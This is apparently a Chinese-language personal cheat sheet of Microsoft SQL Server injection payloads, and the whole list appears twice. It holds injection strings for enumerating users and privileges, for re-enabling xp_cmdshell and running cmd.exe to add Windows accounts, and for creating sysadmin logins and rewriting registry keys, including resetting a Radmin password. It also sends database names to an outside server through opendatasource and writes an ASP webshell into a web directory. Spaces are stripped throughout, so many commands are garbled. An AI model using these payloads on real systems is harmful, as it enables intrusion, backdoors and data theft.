我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢!
//看看是什么权限的
and1=(SelectIS_MEMBER('db_owner'))
Andchar(124)%2BCast(IS_MEMBER('db_owner')asvarchar(1))%2Bchar(124)=1;--
//检测是否有读取某数据库的权限
and1=(SelectHAS_DBACCESS('master'))
Andchar(124)%2BCast(HAS_DBACCESS('master')asvarchar(1))%2Bchar(124)=1--
数字类型
andchar(124)%2Buser%2Bchar(124)=0
字符类型
'andchar(124)%2Buser%2Bchar(124)=0and''='
搜索类型
'andchar(124)%2Buser%2Bchar(124)=0and'%'='
爆用户名
anduser>0
'anduser>0and''='
检测是否为SA权限
and1=(selectIS_SRVROLEMEMBER('sysadmin'));--
Andchar(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)asvarchar(1))%2Bchar(124)=1--
检测是不是MSSQL数据库
andexists(select*fromsysobjects);--
检测是否支持多行
;declare@dint;--
恢复xp_cmdshell
;execmaster..dbo.sp_addextendedproc'xp_cmdshell','xplog70.dll';--
select*fromopenrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select@@version')
//-----------------------
//执行命令
//-----------------------
首先开启沙盘模式:
execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')
执行命令
;DECLARE@shellINTEXECSP_OAcreate'wscript.shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe/cnetuserpafpafpaf/add';--
EXEC[master].[dbo].[xp_cmdshell]'cmd/cmdc:\1111'
判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188and1=(Selectcount(*)FROMmaster.dbo.sysobjectsWherextype='X'ANDname='xp_cmdshell')
写注册表
execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
REG_SZ
读注册表
execmaster..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon','Userinit'
读取目录内容
execmaster..xp_dirtree'c:\winnt\system32\',1,1
数据库备份
backupdatabasepubstodisk='c:\123.bak'
//爆出长度
And(Selectchar(124)%2BCast(Count(1)asvarchar(8000))%2Bchar(124)FromD99_Tmp)=0;--
更改sa口令方法:用sql综合利用工具连接后,执行命令:
execsp_passwordNULL,'新密码','sa'
添加和删除一个SA权限的用户test:
execmaster.dbo.sp_addlogintest,ptlove
execmaster.dbo.sp_addsrvrolemembertest,sysadmin
删除扩展存储过过程xp_cmdshell的语句:
execsp_dropextendedproc'xp_cmdshell'
添加扩展存储过过程
EXEC[master]..sp_addextendedproc'xp_proxiedadata','c:\winnt\system32\sqllog.dll'
GRANTexecOnxp_proxiedadataTOpublic
停掉或激活某个服务。
execmaster..xp_servicecontrol'stop','schedule'
execmaster..xp_servicecontrol'start','schedule'
dbo.xp_subdirs
只列某个目录下的子目录。
xp_getfiledetails'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_terminate_process
停掉某个执行中的程序,但赋予的参数是ProcessID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选pid,就可以看到每个执行程序的ProcessID
xp_terminate_process2484
xp_unpackcab
解开压缩档。
xp_unpackcab'c:\test.cab','c:\temp',1
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit/e导入注册文件,但是mssql是sa权限,使用如下命令EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c即可修改密码为12345678。如果要修改端口值EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400则端口值改为1234
createdatabaselcx;
CreateTABLEku(namenvarchar(256)null);
CreateTABLEbiao(idintNULL,namenvarchar(256)null);
//得到数据库名
insertintoopendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.kuselectnamefrommaster.dbo.sysdatabases
//在Master中创建表,看看权限怎样
CreateTABLEmaster..D_TEST(idnvarchar(4000)NULL,Datanvarchar(4000)NULL);--
用sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
//更新表内容
UpdatefilmsSETkind='Dramatic'Whereid=123
//删除内容
deletefromtable_namewhereStockid=3
//看看是什么权限的
and1=(SelectIS_MEMBER('db_owner'))
Andchar(124)%2BCast(IS_MEMBER('db_owner')asvarchar(1))%2Bchar(124)=1;--
//检测是否有读取某数据库的权限
and1=(SelectHAS_DBACCESS('master'))
Andchar(124)%2BCast(HAS_DBACCESS('master')asvarchar(1))%2Bchar(124)=1--
数字类型
andchar(124)%2Buser%2Bchar(124)=0
字符类型
'andchar(124)%2Buser%2Bchar(124)=0and''='
搜索类型
'andchar(124)%2Buser%2Bchar(124)=0and'%'='
爆用户名
anduser>0
'anduser>0and''='
检测是否为SA权限
and1=(selectIS_SRVROLEMEMBER('sysadmin'));--
Andchar(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)asvarchar(1))%2Bchar(124)=1--
检测是不是MSSQL数据库
andexists(select*fromsysobjects);--
检测是否支持多行
;declare@dint;--
恢复xp_cmdshell
;execmaster..dbo.sp_addextendedproc'xp_cmdshell','xplog70.dll';--
select*fromopenrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select@@version')
//-----------------------
//执行命令
//-----------------------
首先开启沙盘模式:
execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')
执行命令
;DECLARE@shellINTEXECSP_OAcreate'wscript.shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe/cnetuserpafpafpaf/add';--
EXEC[master].[dbo].[xp_cmdshell]'cmd/cmdc:\1111'
判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188and1=(Selectcount(*)FROMmaster.dbo.sysobjectsWherextype='X'ANDname='xp_cmdshell')
写注册表
execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
REG_SZ
读注册表
execmaster..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon','Userinit'
读取目录内容
execmaster..xp_dirtree'c:\winnt\system32\',1,1
数据库备份
backupdatabasepubstodisk='c:\123.bak'
//爆出长度
And(Selectchar(124)%2BCast(Count(1)asvarchar(8000))%2Bchar(124)FromD99_Tmp)=0;--
更改sa口令方法:用sql综合利用工具连接后,执行命令:
execsp_passwordNULL,'新密码','sa'
添加和删除一个SA权限的用户test:
execmaster.dbo.sp_addlogintest,ptlove
execmaster.dbo.sp_addsrvrolemembertest,sysadmin
删除扩展存储过过程xp_cmdshell的语句:
execsp_dropextendedproc'xp_cmdshell'
添加扩展存储过过程
EXEC[master]..sp_addextendedproc'xp_proxiedadata','c:\winnt\system32\sqllog.dll'
GRANTexecOnxp_proxiedadataTOpublic
停掉或激活某个服务。
execmaster..xp_servicecontrol'stop','schedule'
execmaster..xp_servicecontrol'start','schedule'
dbo.xp_subdirs
只列某个目录下的子目录。
xp_getfiledetails'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_terminate_process
停掉某个执行中的程序,但赋予的参数是ProcessID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选pid,就可以看到每个执行程序的ProcessID
xp_terminate_process2484
xp_unpackcab
解开压缩档。
xp_unpackcab'c:\test.cab','c:\temp',1
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit/e导入注册文件,但是mssql是sa权限,使用如下命令EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c即可修改密码为12345678。如果要修改端口值EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400则端口值改为1234
createdatabaselcx;
CreateTABLEku(namenvarchar(256)null);
CreateTABLEbiao(idintNULL,namenvarchar(256)null);
//得到数据库名
insertintoopendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.kuselectnamefrommaster.dbo.sysdatabases
//在Master中创建表,看看权限怎样
CreateTABLEmaster..D_TEST(idnvarchar(4000)NULL,Datanvarchar(4000)NULL);--
用sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
//更新表内容
UpdatefilmsSETkind='Dramatic'Whereid=123
//删除内容
deletefromtable_namewhereStockid=3